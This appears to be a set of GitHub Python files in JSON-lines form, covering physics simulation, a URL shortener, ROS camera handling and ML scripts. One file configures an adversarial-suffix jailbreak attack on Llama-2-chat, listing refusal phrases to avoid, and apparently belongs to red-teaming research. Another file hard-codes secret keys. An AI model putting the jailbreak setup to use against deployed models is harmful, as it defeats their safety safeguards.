the parameters\r\n# plot_parameters(accuracyDics,\"BCroom_T1_clf_Histograms_\")\r\n#*****************************************************************************************\r\n# END - Initial run of the methods above with single clf and no hyper parameters to verify logic\r\n#*****************************************************************************************\r\n\r\n\r\n#*****************************************************************************************\r\n# START - run code with multiple classifiers, still no hyper parameters\r\n#*****************************************************************************************\r\n# run this code in \"cheat mode\" by just looping throught the models we defined above\r\n# for crlfs in models.values():\r\n#     # execute the run function on each model type\r\n#     results = run(crlfs, data, clf_hyper={})\r\n\r\n#     # find the classifiers for plotting\r\n#     accuracyDics = groupClassifiers(results)\r\n\r\n#     # plot the parameters\r\n#     plot_parameters(accuracyDics,\"BCroom_T2_clf_Histograms_\")\r\n\r\n#*****************************************************************************************\r\n# END - run code with multiple classifiers, still no hyper parameters\r\n#*****************************************************************************************\r\n\r\n","repo_name":"jbcroom/DS7335-ML2","sub_path":"HW2/DS7335-ML2-Croom-HW2.py","file_name":"DS7335-ML2-Croom-HW2.py","file_ext":"py","file_size_in_byte":15321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31028304195","text":"from configs.template import get_config as default_config\nimport os\n\nos.sys.path.append(\"..\")\n\n\ndef get_config():\n    config = default_config()\n\n    config.tokenizer_paths = [\"meta-llama/Llama-2-7b-chat-hf\"]\n    config.model_paths = [\"meta-llama/Llama-2-7b-chat-hf\"]\n    config.conversation_templates = ['llama-2']\n\n    config.control_init = \" \".join([\"!\"] * 20)\n    config.test_prefixes = [\n        \"I'm sorry\",\n        \"I apologize\",\n        \"As an\",\n        \"I'm just\",\n        \"I'm an\",\n        \"I cannot\",\n        \"I'm not\",\n        \"Hello!\",\n        \"Instead, I\",\n        \"I will not participate in\"\n    ]\n\n    config.best_tokenization = True\n    config.half = True\n\n    return config\n","repo_name":"iamgroot42/tdc_23","sub_path":"red_teaming/llm-attacks/experiments/configs/individual_llama2.py","file_name":"individual_llama2.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"4040064130","text":"import numpy\n\nfrom syned.beamline.shape import Ellipse, Rectangle, Circle\nfrom wofry.beamline.decorators import OpticalElementDecorator\n\nfrom wofry.propagator.propagator import PropagationParameters\nfrom wofrysrw.propagator.wavefront2D.srw_wavefront import WavefrontPropagationParameters, WavefrontPropagationOptionalParameters\nfrom wofrysrw.srw_object import SRWObject\n\nfrom oasys_srw.srwlib import SRWLOptC, srwl, SRWLOptShift, SRWLOptAng\n\nclass Orientation:\n    UP = 0\n    DOWN = 1\n    LEFT = 2\n    RIGHT = 3\n\n\nclass SRWOpticalElementDisplacement(SRWObject):\n\n    BEFORE=0\n    AFTER=1\n\n    def __init__(self, shift_x=0.0, shift_y=0.0, rotation_x=0.0, rotation_y=0.0):\n        self.shift_x=shift_x\n        self.shift_y=shift_y\n        self.rotation_x=rotation_x\n        self.rotation_y=rotation_y\n\n        self.has_shift = self.shift_x != 0.0 or self.shift_y != 0.0\n        self.has_rotation = self.rotation_x != 0.0 or self.rotation_y != 0.0\n\n    def to_python_code(self, data=None):\n        oe_name = data[0]\n        where = data[2]\n\n        if where==SRWOpticalElementDisplacement.BEFORE:\n            sign = -1\n            suffix = \"before_\"\n            text_where = \"Before\"\n        elif where==SRWOpticalElementDisplacement.AFTER:\n            sign = 1\n            suffix = \"after_\"\n            text_where = \"After\"\n\n        text_code = \"\"\n\n        if self.has_shift:\n            text_code += \"# \" + oe_name + \" Displacement (\" + text_where + \")\\n\\n\"\n\n            text_code += \"shift_\" + suffix + oe_name + \" = SRWLOptShift(_shift_x=\" + str(sign*self.shift_x) + \", _shift_y=\" + str(sign*self.shift_y) + \")\" + \"\\n\"\n            text_code += \"pp_shift_\" + suffix + oe_name + \" = \" + WavefrontPropagationParameters().to_python_code() + \"\\n\"\n\n        if self.has_rotation:\n            if self.has_shift: text_code += \"\\n\"\n            else: text_code += \"# \" + oe_name + \" Displacement (\" + text_where + \")\\n\\n\"\n            text_code += \"rotation_\" + suffix + oe_name + \" = SRWLOptAng(_ang_x=\" + str(sign*self.rotation_x) + \", _ang_y=\" + str(sign*self.rotation_y) + \")\" + \"\\n\"\n            text_code += \"pp_rotation_\" + suffix + oe_name + \" = \" + WavefrontPropagationParameters().to_python_code() + \"\\n\"\n\n        return text_code\n\nclass SRWOpticalElementDecorator(SRWObject):\n    def toSRWLOpt(self):\n        raise NotImplementedError(\"\")\n\n    def fromSRWLOpt(self, srwlopt=None):\n        raise NotImplementedError(\"\")\n\nclass SRWOpticalElement(SRWOpticalElementDecorator, OpticalElementDecorator):\n\n    def __init__(self, optical_element_displacement=None):\n        self.displacement = optical_element_displacement\n\n    def add_displacement_to_array(self, oe_array, pp_array, where=SRWOpticalElementDisplacement.BEFORE):\n\n        sign = -1 if where==SRWOpticalElementDisplacement.BEFORE else 1\n\n        if self.displacement.has_shift:\n            oe_array.append(SRWLOptShift(_shift_x=sign*self.displacement.shift_x, _shift_y=sign*self.displacement.shift_y))\n            pp_array.append(self.get_default_propagation_parameters())\n\n        if self.displacement.has_rotation:\n            oe_array.append(SRWLOptAng(_ang_x=sign*self.displacement.rotation_x, _ang_y=sign*self.displacement.rotation_y))\n            pp_array.append(self.get_default_propagation_parameters())\n\n    def applyOpticalElement(self, wavefront=None, parameters=None, element_index=None):\n        oe_array = []\n        pp_array = []\n\n        if not self.displacement is None:\n            self.add_displacement_to_array(oe_array, pp_array, where=SRWOpticalElementDisplacement.BEFORE)\n\n        oe_array.append(self.toSRWLOpt())\n        pp_array.append(self.get_srw_wavefront_propagation_parameter(parameters))\n\n        if not self.displacement is None:\n            self.add_displacement_to_array(oe_array, pp_array, where=SRWOpticalElementDisplacement.AFTER)\n\n        optBL = SRWLOptC(oe_array,\n                         pp_array)\n\n        srwl.PropagElecField(wavefront, optBL)\n\n        return wavefront\n\n    def add_to_srw_native_array(self, oe_array = [], pp_array=[], parameters=None, wavefront=None):\n        if not self.displacement is None:\n            self.add_displacement_to_array(oe_array, pp_array, where=SRWOpticalElementDisplacement.BEFORE)\n\n        oe_array.append(self.toSRWLOpt())\n        pp_array.append(self.get_srw_wavefront_propagation_parameter(parameters))\n\n        if not self.displacement is None:\n            self.add_displacement_to_array(oe_array, pp_array, where=SRWOpticalElementDisplacement.AFTER)\n\n    def get_srw_wavefront_propagation_parameter(self, parameters):\n        if isinstance(parameters, PropagationParameters):\n            if not parameters.has_additional_parameter(\"srw_oe_wavefront_propagation_parameters\"):\n                wavefront_propagation_parameters = WavefrontPropagationParameters()\n            else:\n                wavefront_propagation_parameters = parameters.get_additional_parameter(\"srw_oe_wavefront_propagation_parameters\")\n\n                if not isinstance(wavefront_propagation_parameters, WavefrontPropagationParameters):\n                    raise ValueError(\"SRW Wavefront Propagation Parameters are inconsistent\")\n\n            srw_parameters_array = wavefront_propagation_parameters.to_SRW_array()\n\n            if parameters.has_additional_parameter(\"srw_oe_wavefront_propagation_optional_parameters\"):\n                wavefront_propagation_optional_parameters = parameters.get_additional_parameter(\"srw_oe_wavefront_propagation_optional_parameters\")\n\n                if not isinstance(wavefront_propagation_optional_parameters, WavefrontPropagationOptionalParameters):\n                    raise ValueError(\"SRW Wavefront Propagation Optional Parameters are inconsistent\")\n\n                wavefront_propagation_optional_parameters.append_to_srw_array(srw_parameters_array)\n        elif isinstance(parameters, list):\n            wavefront_propagation_parameters = parameters[0]\n            wavefront_propagation_optional_parameters = parameters[1]\n\n            srw_parameters_array = wavefront_propagation_parameters.to_SRW_array()\n            if not wavefront_propagation_optional_parameters is None: wavefront_propagation_optional_parameters.append_to_srw_array(srw_parameters_array)\n\n        return srw_parameters_array\n\n    def getXY(self):\n        boundary_shape = self.get_boundary_shape()\n\n        if not boundary_shape is None:\n            if isinstance(boundary_shape, Rectangle) or isinstance(boundary_shape, Ellipse):\n                x_left, x_right, y_bottom, y_top = boundary_shape.get_boundaries()\n\n                return x_left + 0.5*(x_right-x_left), \\\n                       y_bottom + 0.5*(y_top-y_bottom)\n\n            elif isinstance(boundary_shape, Circle):\n                radius, x_center, y_center = boundary_shape.get_boundaries()\n\n                return x_center, y_center\n        else:\n            return 0.0, 0.0\n\n    def get_orientation_vectors(self):\n        sign = (-1 if self.invert_tangent_component else 1)\n\n        if self.orientation_of_reflection_plane == Orientation.LEFT:\n            nvx = -numpy.cos(self.grazing_angle)\n            nvy = 0\n            nvz = -numpy.sin(self.grazing_angle)\n            tvx = sign*numpy.sin(self.grazing_angle)\n            tvy = 0\n        elif self.orientation_of_reflection_plane == Orientation.RIGHT:\n            nvx = numpy.cos(self.grazing_angle)\n            nvy = 0\n            nvz = -numpy.sin(self.grazing_angle)\n            tvx = -sign*numpy.sin(self.grazing_angle)\n            tvy = 0\n        elif self.orientation_of_reflection_plane == Orientation.UP:\n            nvx = 0\n            nvy = numpy.cos(self.grazing_angle)\n            nvz = -numpy.sin(self.grazing_angle)\n            tvx = 0\n            tvy = -sign*numpy.sin(self.grazing_angle)\n        elif self.orientation_of_reflection_plane == Orientation.DOWN:\n            nvx = 0\n            nvy = -numpy.cos(self.grazing_angle)\n            nvz = -numpy.sin(self.grazing_angle)\n            tvx = 0\n            tvy = -sign*numpy.sin(self.grazing_angle)\n\n        return nvx, nvy, nvz, tvx, tvy\n\n    def get_default_propagation_parameters(self):\n        return WavefrontPropagationParameters().to_SRW_array()\n\nfrom oasys_srw.srwlib import SRWLOptA\n\nclass SRWOpticalElementWithAcceptanceSlit(SRWOpticalElement):\n\n    def __init__(self,\n                 optical_element_displacement         = None,\n                 tangential_size                      = 1.2,\n                 sagittal_size                        = 0.01,\n                 vertical_position_of_mirror_center   = 0.0,\n                 horizontal_position_of_mirror_center = 0.0,\n                 grazing_angle                        = 0.003,\n                 orientation_of_reflection_plane      = Orientation.UP,\n                 invert_tangent_component             = False,\n                 add_acceptance_slit                  = False):\n\n        super(SRWOpticalElementWithAcceptanceSlit, self).__init__(optical_element_displacement)\n\n        self.vertical_position_of_mirror_center = vertical_position_of_mirror_center\n        self.horizontal_position_of_mirror_center = horizontal_position_of_mirror_center\n\n        self.tangential_size                                  = tangential_size\n        self.sagittal_size                                    = sagittal_size\n        self.grazing_angle                                    = grazing_angle\n        self.orientation_of_reflection_plane                  = orientation_of_reflection_plane\n        self.invert_tangent_component                         = invert_tangent_component\n\n        self.add_acceptance_slit=add_acceptance_slit\n\n    def get_acceptance_slit(self):\n        if self.orientation_of_reflection_plane == Orientation.UP or \\\n                self.orientation_of_reflection_plane==Orientation.DOWN:\n            vertical_aperture   = self.tangential_size*numpy.sin(self.grazing_angle)\n            horizontal_aperture = self.sagittal_size\n        else:\n            vertical_aperture   = self.sagittal_size\n            horizontal_aperture = self.tangential_size*numpy.sin(self.grazing_angle)\n\n        return SRWLOptA('r', 'a', horizontal_aperture, vertical_aperture)\n\n    def create_propagation_elements(self):\n        optical_elements = []\n        propagation_parameters = []\n\n        if not self.displacement is None and self.displacement.where == SRWOpticalElementDisplacement.BEFORE:\n            self.add_displacement_to_array(optical_elements, propagation_parameters)\n\n        if not self.add_acceptance_slit:\n            optical_elements.append(self.toSRWLOpt())\n            propagation_parameters.append(self.get_srw_wavefront_propagation_parameter())\n        else:\n            optical_elements.extend([self.get_acceptance_slit(), self.toSRWLOpt()])\n            propagation_parameters.extend([self.get_srw_wavefront_propagation_parameter(), # all the resizing/resampling goes to the slit\n                                           self.get_default_propagation_parameters()]) # no resizing/resampling needed\n\n        if not self.displacement is None and self.displacement.where == SRWOpticalElementDisplacement.AFTER:\n            self.add_displacement_to_array(optical_elements, propagation_parameters)\n\n        return optical_elements, propagation_parameters\n\n    def add_to_srw_native_array(self, oe_array = [], pp_array=[], parameters=None, wavefront=None):\n        if not self.displacement is None:\n            self.add_displacement_to_array(oe_array, pp_array, where=SRWOpticalElementDisplacement.BEFORE)\n\n        if not self.add_acceptance_slit:\n            oe_array.append(self.toSRWLOpt())\n            pp_array.append(self.get_srw_wavefront_propagation_parameter(parameters))\n        else:\n            oe_array.append(self.get_acceptance_slit())\n            oe_array.append(self.toSRWLOpt())\n            pp_array.append(self.get_srw_wavefront_propagation_parameter(parameters)) # all the resizing/resampling goes to the slit\n            pp_array.append(self.get_default_propagation_parameters()) # no resizing/resampling needed\n\n        if not self.displacement is None:\n            self.add_displacement_to_array(oe_array, pp_array, where=SRWOpticalElementDisplacement.AFTER)\n","repo_name":"oasys-kit/wofrysrw","sub_path":"wofrysrw/beamline/optical_elements/srw_optical_element.py","file_name":"srw_optical_element.py","file_ext":"py","file_size_in_byte":12185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"36616133599","text":"import numpy as np\n\nfrom phonopy.units import Kb\n\n\ndef get_free_energy_at_T(tmin, tmax, tstep, eigenvalues, weights, n_electrons):\n    \"\"\"Return free energies at given temperatures.\"\"\"\n    free_energies = []\n    efe = ElectronFreeEnergy(eigenvalues, weights, n_electrons)\n    temperatures = np.arange(tmin, tmax + 1e-8, tstep)\n    for T in temperatures:\n        efe.run(T)\n        free_energies.append(efe.free_energy)\n    return temperatures, free_energies\n\n\nclass ElectronFreeEnergy:\n    r\"\"\"Class to calculate free energy of one-electronic states.\n\n    Fixed density-of-states approximation for energy and entropy of electrons.\n\n    This is supposed to be used for metals, i.e., chemical potential is not\n    in band gap.\n\n    Entropy\n    -------\n\n    .. math::\n\n       S_\\text{el}(V) = -gk_{\\mathrm{B}}\\Sigma_i \\{ f_i(V) \\ln f_i(V) +\n       [1-f_i(V)]\\ln [1-f_i(V)] \\}\n\n    .. math::\n\n       f_i(V) = \\left\\{ 1 + \\exp\\left[\\frac{\\epsilon_i(V) - \\mu(V)}{T}\\right]\n       \\right\\}^{-1}\n\n    where :math:`g` is 1 for non-spin polarized systems and 2 for spin\n    polarized systems.\n\n    Energy\n    ------\n\n    .. math::\n\n       E_\\text{el}(V) = g\\sum_i f_i(V) \\epsilon_i(V)\n\n    Attributes\n    ----------\n    entropy: float\n        Entropy in eV (T * S).\n    energy: float\n        Energy in eV.\n    free_energy: float\n        energy - entropy in eV.\n    mu: float\n        Chemical potential in eV.\n\n    \"\"\"\n\n    def __init__(self, eigenvalues, weights, n_electrons):\n        \"\"\"Init method.\n\n        Parameters\n        ----------\n        eigenvalues: ndarray\n            Eigenvalues in eV.\n            dtype='double'\n            shape=(spin, kpoints, bands)\n        weights: ndarray\n            Geometric k-point weights (number of arms of k-star in BZ).\n            dtype='int_'\n            shape=(irreducible_kpoints,)\n        n_electrons: float\n            Number of electrons in unit cell.\n        efermi: float\n            Initial Fermi energy\n\n        \"\"\"\n        # shape=(kpoints, spin, bands)\n        self._eigenvalues = np.array(\n            eigenvalues.swapaxes(0, 1), dtype=\"double\", order=\"C\"\n        )\n        self._weights = weights\n        self._n_electrons = n_electrons\n\n        if self._eigenvalues.shape[1] == 1:\n            self._g = 2\n        elif self._eigenvalues.shape[1] == 2:\n            self._g = 1\n        else:\n            raise RuntimeError\n\n        self._T = None\n        self._f = None\n        self._mu = None\n        self._entropy = None\n        self._energy = None\n\n    def run(self, T):\n        \"\"\"Calculate free energies.\n\n        Parameters\n        ----------\n        T: float\n            Temperature in K\n\n        \"\"\"\n        if T < 1e-10:\n            self._T = 1e-10\n        else:\n            self._T = T * Kb\n        self._mu = self._chemical_potential()\n        self._f = self._occupation_number(self._eigenvalues, self._mu)\n        self._entropy = self._get_entropy()\n        self._energy = self._get_energy()\n\n    @property\n    def free_energy(self):\n        \"\"\"Return free energies.\"\"\"\n        return self._energy - self._entropy\n\n    @property\n    def energy(self):\n        \"\"\"Return energies.\"\"\"\n        return self._energy\n\n    @property\n    def entropy(self):\n        \"\"\"Return entropies.\"\"\"\n        return self._entropy\n\n    @property\n    def mu(self):\n        \"\"\"Return chemical potential.\"\"\"\n        return self._mu\n\n    def _get_entropy(self):\n        S = 0\n        for f_k, w in zip(self._f.reshape(len(self._weights), -1), self._weights):\n            _f = np.extract((f_k > 1e-12) * (f_k < 1 - 1e-12), f_k)\n            S -= (_f * np.log(_f) + (1 - _f) * np.log(1 - _f)).sum() * w\n        return S * self._g * self._T / self._weights.sum()\n\n    def _get_energy(self):\n        occ_eigvals = self._f * self._eigenvalues\n        return (\n            np.dot(\n                occ_eigvals.reshape(len(self._weights), -1).sum(axis=1), self._weights\n            )\n            * self._g\n            / self._weights.sum()\n        )\n\n    def _chemical_potential(self):\n        emin = np.min(self._eigenvalues)\n        emax = np.max(self._eigenvalues)\n        mu = (emin + emax) / 2\n\n        for i in range(1000):\n            n = self._number_of_electrons(mu)\n            if abs(n - self._n_electrons) < 1e-10:\n                break\n            elif n < self._n_electrons:\n                emin = mu\n            else:\n                emax = mu\n            mu = (emin + emax) / 2\n\n        return mu\n\n    def _number_of_electrons(self, mu):\n        eigvals = self._eigenvalues.reshape(len(self._weights), -1)\n        n = (\n            np.dot(self._occupation_number(eigvals, mu).sum(axis=1), self._weights)\n            * self._g\n            / self._weights.sum()\n        )\n        return n\n\n    def _occupation_number(self, e, mu):\n        de = (e - mu) / self._T\n        de = np.where(de < 100, de, 100.0)  # To avoid overflow\n        de = np.where(de > -100, de, -100.0)  # To avoid underflow\n        return 1.0 / (1 + np.exp(de))\n","repo_name":"phonopy/phonopy","sub_path":"phonopy/qha/electron.py","file_name":"electron.py","file_ext":"py","file_size_in_byte":4972,"program_lang":"python","lang":"en","doc_type":"code","stars":302,"dataset":"github-code","pt":"60"}
+{"seq_id":"12818225454","text":"from typing import List\nfrom fastapi import FastAPI, Depends, HTTPException\nfrom fastapi.responses import RedirectResponse, FileResponse\nfrom fastapi.staticfiles import StaticFiles\nfrom sqlalchemy.orm import Session\nfrom .models import LinkCreate, LinkSchema, Link, Base\nfrom .database import engine\nfrom .dependencies import get_db\n\napp = FastAPI()\n\napp.mount('/static', StaticFiles(directory='src/static'), name='static')\n\nBase.metadata.create_all(bind=engine)\n\n\n@app.get('/')\ndef index(db: Session = Depends(get_db)):\n    \"\"\"Get the web interface.\"\"\"\n    return FileResponse('src/static/index.html')\n\n\n@app.get('/all', response_model=List[LinkSchema])\ndef get_all_links(db: Session = Depends(get_db)):\n    \"\"\"Get all of the links saved in the database.\"\"\"\n    return db.query(Link).all()\n\n\n@app.get('/{link_id}', responses={404: {}})\ndef get_link(link_id: int, db: Session = Depends(get_db)):\n    \"\"\"Redirect to the link with given ID.\"\"\"\n    link = db.query(Link).where(Link.id == link_id).first()\n    if not link:\n        raise HTTPException(404, detail='Link not found.')\n    link.uses += 1\n    db.commit()\n    return RedirectResponse(link.url)\n\n\n@app.get('/{link_id}/info', response_model=LinkSchema, responses={404: {}})\ndef get_link_info(link_id: int, db: Session = Depends(get_db)):\n    \"\"\"Get information related to a link by given ID\"\"\"\n    link = db.query(Link).where(Link.id == link_id).first()\n    if not link:\n        raise HTTPException(404, detail='Link not found.')\n    return link\n\n\n@app.post('/create', response_model=LinkSchema)\ndef create_link(new_link: LinkCreate, db: Session = Depends(get_db)):\n    \"\"\"\n    Create a new link.\n    If the URL already exists in the database it will be returned\n    rather than creating a new link with the given URL.\n    \"\"\"\n    link = db.query(Link).where(Link.url == new_link.url).first()\n    if link:\n        # URL already exists, return the link for it.\n        return link\n\n    # Make sure the given link starts with http or https so it doesn't break the FastAPI RedirectResponse.\n    if not new_link.url.startswith('http://') and not new_link.url.startswith('https://'):\n        new_link.url = 'http://' + new_link.url\n    link = Link(**new_link.dict())\n    db.add(link)\n    db.commit()\n    db.refresh(link)\n    return link\n","repo_name":"MrTj458/FastAPI-url-shortener","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"28664708792","text":"from slinkedlist import SLList\n\ndef run():\n    a = SLList()\n\n    a.insert(\"I'm a node!\")\n\n    a.insert(\"I'm another node!\")\n\n    a.displayListSize()\n\n    a.printAll()\n\n    a.insert(\"Yet another node...\")\n\n    a.insert(\"ok last node\")\n\n    a.printAll()\n\n    a.displayListSize()\n\n\n    \n\n\nif __name__ == \"__main__\":\n    run()","repo_name":"cardelos-san/exercises-python","sub_path":"linkedlist/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"13785928838","text":"import datetime\n\nDEBUG = True\nSECRET_KEY = '4247325b9d110a97fac0a946cdfbcdb9'\nDB_HOST = 'mongodb://localhost'\nDB_PORT = 27017\nJWT_SECRET_KEY = 'grab.bootcamp.jwt'\nJWT_ACCESS_TOKEN_EXPIRES = datetime.timedelta(days=1)\nENTITY_COLORS = {\n    'ORG': \"#FF8125\",\n    'PER': \"#00D1FF\",\n    'LOC': \"#FFC800\",\n    'MISC': \"#FF5959\",\n}\nMODEL_DIR = 'dslim/bert-base-NER'  # 'model/'\nTOKENIZER_DIR = 'dslim/bert-base-NER'","repo_name":"Taka304/grab_bootcamp","sub_path":"backend/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31531468696","text":"# -*- coding: utf-8 -*\nimport sys\n\ndef parse_integers(msg):\n    result = list()\n    mass = msg.split(\" \")\n    for i in mass:\n        result.append(int(i))\n    return result\n\ndef fast_check(a, b, c, d): # a=00, b=01, c=10, d=11\n    \"\"\"Быстрые проверки на невозможность построения строки по указанным ключам (a, b, c, d).\"\"\"\n    # Проверка 1: если имеются подстроки \"00\" и \"11\", то должна быть хотя бы одная подстрока \"01\" или \"10\".\n    if a > 0 and d > 0: \n        if b == 0 and c == 0:\n            return False\n    # Проверка 1: количества подстрок \"01\" и \"10\" не могут различаться больше, чем на 1.\n    if abs(b) - abs(c) > 1:\n        return False\n    return True\n\ndef create_0101(b_01, c_10):\n    result = \"\"\n    if b_01 == 0 and c_10 == 0:\n        return result\n    if b_01 >= c_10:\n        result += \"01\" * b_01\n        if b_01 == c_10:\n            result += \"0\"\n    else:\n        result += \"10\" *c_10\n    return result\n\ndef get_first(msg, ch):\n    for idx, el in enumerate(msg):\n        if el == ch:\n            return idx\n    return -1 \n\ndef increase_x_to_xx(source, count, x):\n    \"\"\"В строке (source) первый попавшийся символ (x) заменяется на подстроку из символов (x), имеющую длину (count).\"\"\"\n    result = \"\"\n    if len(source) == 0:\n        if count >= 1:\n            result = (x * count) + x\n        else:\n            result = source\n    else:\n        pos = get_first(source, x)\n        if pos == -1:\n            result = source\n        else:\n            result = source[0:pos] + (x * count) + x + source[pos + 1:]\n    return result\n\ndef increase_0_to_00(source, count):\n    \"\"\"Например, для source='01010' при count=2 будет '0001010'.\"\"\"\n    return increase_x_to_xx(source, count, \"0\")\n\ndef increase_1_to_11(source, count):\n    \"\"\"Например, для source='01010' при count=2 будет '0111010'.\"\"\"\n    return increase_x_to_xx(source, count, \"1\")\n\ndef count_string(msg):\n    \"\"\"Подсчёт входящих в строку (msg) подстрок '00', '01', '10', '11'.\"\"\"\n    a = 0\n    b = 0\n    c = 0\n    d = 0\n    prev = msg[0:1]\n    for curr in msg[1:]:\n        if prev == \"0\":\n            if curr == \"0\":\n                a += 1\n            elif curr == \"1\":\n                b += 1\n        elif prev == \"1\":\n            if curr == \"0\":\n                c += 1\n            elif curr == \"1\":\n                d += 1\n        prev = curr\n    return (a, b, c, d)\n            \nif __name__ == \"__main__\":\n    n = int(sys.stdin.readline())\n    for i in xrange(n):\n        mass = parse_integers(sys.stdin.readline().strip(\"\\n\"))\n        a = mass[0] # 00\n        b = mass[1] # 01\n        c = mass[2] # 10\n        d = mass[3] # 11\n        \n        if not fast_check(a, b, c, d):\n            sys.stdout.write(\"impossible\" + \"\\n\")\n            continue\n        \n        res = create_0101(b, c)\n        res = increase_0_to_00(res, a)\n        res = increase_1_to_11(res, d)\n        sys.stdout.write(res + \"\\n\")\n","repo_name":"victorivanovspb/challenge-accepted","sub_path":"resp_rcc/rcc_2016/qual_01/a_binarystring/a_binarystring.py","file_name":"a_binarystring.py","file_ext":"py","file_size_in_byte":3201,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"70402602113","text":"# coding: utf-8\n\nfrom __future__ import absolute_import\n\nfrom flask import json\nfrom six import BytesIO\n\nfrom swagger_server.models.hash import Hash  # noqa: E501\nfrom swagger_server.models.message import Message  # noqa: E501\nfrom swagger_server.test import BaseTestCase\n\n\nclass TestMessagesController(BaseTestCase):\n    \"\"\"MessagesController integration test stubs\"\"\"\n\n    def test_add_message(self):\n        \"\"\"Test case for add_message\n\n        takes a message (a string) as a POST and returns the SHA256 hash digest of that message (in hexadecimal format)\n        \"\"\"\n        body = Message()\n        response = self.client.open(\n            '/messages',\n            method='POST',\n            data=json.dumps(body),\n            content_type='application/json')\n        self.assert200(response,\n                       'Response body is : ' + response.data.decode('utf-8'))\n\n    def test_get_msg_by_hash(self):\n        \"\"\"Test case for get_msg_by_hash\n\n        Find the message by hash\n        \"\"\"\n        response = self.client.open(\n            '/messages/{hash}'.format(hash='hash_example'),\n            method='GET')\n        self.assert200(response,\n                       'Response body is : ' + response.data.decode('utf-8'))\n\n\nif __name__ == '__main__':\n    import unittest\n    unittest.main()\n","repo_name":"fatihahmetg/Web-Service-for-Messaging","sub_path":"python-flask-server-generated/swagger_server/test/test_messages_controller.py","file_name":"test_messages_controller.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"3878117988","text":"#!/usr/bin/env python\nfrom __future__ import print_function\nimport roslib\n#roslib.load_manifest('package.xml')\nimport sys\nimport rospy\nimport cv2\nfrom std_msgs.msg import String\nfrom sensor_msgs.msg import Image\nfrom cv_bridge import CvBridge, CvBridgeError\nimport numpy as np\n\ndef nothing(x):\n    pass\n\nclass image_converter:\n\n  def listener():\n    #self.image_pub = rospy.Publisher(\"/camera/image_raw1\",Image, queue_size=1)\n    #self.image_pub3 = rospy.Publisher(\"/camera/image_raw3\",Image, queue_size=1)\n\n    rospy.Subscriber(\"/camera1/image_raw\",Image,callback)#camera1/usb_cam/image_raw\n    rospy.Subscriber(\"/camera3/image_raw\",Image,callback1)\n\n  def callback():\n    print('left')\n    try:\n      cv_image = CvBridge().imgmsg_to_cv2(data, \"bgr8\")\n    except CvBridgeError as e:\n      print(e)\n    cv2.imshow('left',cv_image)\n    cv2.waitKey(1)\n\n  def callback1():\n    print('right') \n    try:\n      cv_image3 = CvBridge().imgmsg_to_cv2(data, \"bgr8\")\n    except CvBridgeError as e:\n      print(e)\n    cv2.imshow('right',cv_image3)  \n    cv2.waitKey(1)\n\ndef main(args):\n  ic = image_converter()\n  rospy.init_node('image_processor', anonymous=True)\n  listener()\n  try:\n    rospy.spin()\n  except KeyboardInterrupt:\n    print(\"Shutting down\")\n    cv2.destroyAllWindows()\n\nif __name__ == '__main__':\n    npz_calib_file_left = np.load('/home/sine/catkin_ws/src/vatsal/src/leftcam_fisheye_correction.npz')\n    npz_calib_file_right = np.load('/home/sine/catkin_ws/src/vatsal/src/rightcam_fisheye_correction.npz')\n    distCoeff_left=npz_calib_file_left['distCoeff']\n    distCoeff_right=npz_calib_file_right['distCoeff']\n    intrinsic_matrix_left = npz_calib_file_left['intrinsic_matrix']\n    intrinsic_matrix_right = npz_calib_file_right['intrinsic_matrix']\n    npz_calib_file_left.close()\n    npz_calib_file_right.close()\n    newMat_left, ROI_left = cv2.getOptimalNewCameraMatrix(intrinsic_matrix_left,distCoeff_left,(1280,720),alpha=5.5,centerPrincipalPoint=1)\n    newMat_right, ROI_right = cv2.getOptimalNewCameraMatrix(intrinsic_matrix_right,distCoeff_right,(1280,720),alpha=5.7,centerPrincipalPoint=1)\n    mapx_left,mapy_left=cv2.initUndistortRectifyMap(intrinsic_matrix_left,distCoeff_left,None,newMat_left,(1280,720),m1type = cv2.CV_32FC1)\n    mapx_right,mapy_right=cv2.initUndistortRectifyMap(intrinsic_matrix_right,distCoeff_right,None,newMat_right,(1280,720),m1type = cv2.CV_32FC1)\nmain(sys.argv)","repo_name":"vatsalkansara/Lane-detection","sub_path":"src/trial.py","file_name":"trial.py","file_ext":"py","file_size_in_byte":2402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"2042940880","text":"\"\"\"\r\nTitle: WGAN-GP overriding `Model.train_step`\r\nAuthor: [A_K_Nain](https://twitter.com/A_K_Nain)\r\nDate created: 2020/05/9\r\nLast modified: 2020/05/9\r\nDescription: Implementation of Wasserstein GAN with Gradient Penalty.\r\n\"\"\"\r\nimport os\r\n\r\nimport custom_dataset\r\nimport settings\r\n\r\n\"\"\"\r\n## Wasserstein GAN (WGAN) with Gradient Penalty (GP)\r\nThe original [Wasserstein GAN](https://arxiv.org/abs/1701.07875) leverages the\r\nWasserstein distance to produce a value function that has better theoretical\r\nproperties than the value function used in the original GAN paper. WGAN requires\r\nthat the discriminator (aka the critic) lie within the space of 1-Lipschitz\r\nfunctions. The authors proposed the idea of weight clipping to achieve this\r\nconstraint. Though weight clipping works, it can be a problematic way to enforce\r\n1-Lipschitz constraint and can cause undesirable behavior, e.g. a very deep WGAN\r\ndiscriminator (critic) often fails to converge.\r\nThe [WGAN-GP](https://arxiv.org/pdf/1704.00028.pdf) method proposes an\r\nalternative to weight clipping to ensure smooth training. Instead of clipping\r\nthe weights, the authors proposed a \"gradient penalty\" by adding a loss term\r\nthat keeps the L2 norm of the discriminator gradients close to 1.\r\n\"\"\"\r\n\r\n\"\"\"\r\n## 